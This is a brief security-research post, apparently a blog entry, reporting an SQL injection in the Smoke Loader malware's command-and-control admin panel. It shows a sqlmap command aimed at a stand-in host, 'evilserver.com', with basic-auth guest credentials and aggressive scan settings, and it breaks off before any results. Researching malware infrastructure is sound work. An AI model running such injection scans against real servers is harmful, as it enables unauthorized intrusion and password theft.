Like other http-based exploit kits, I've discovered that the smoke loader malware downloader has a sql injection in its C&C administration panel that can be used to revel the administrator's password.
sqlmap can identify the vulnerable parameter with the string:
root@localhoost:/opt/pentest/database/sqlmap# ./sqlmap.py -u evilserver.com/directory/guest.php
--auth-cred=guest:guest --auth-type=basic --dbms mysql --level 3
--risk 3
sqlmap identified the following injection points with a total of 278
HTTP(s) requests:
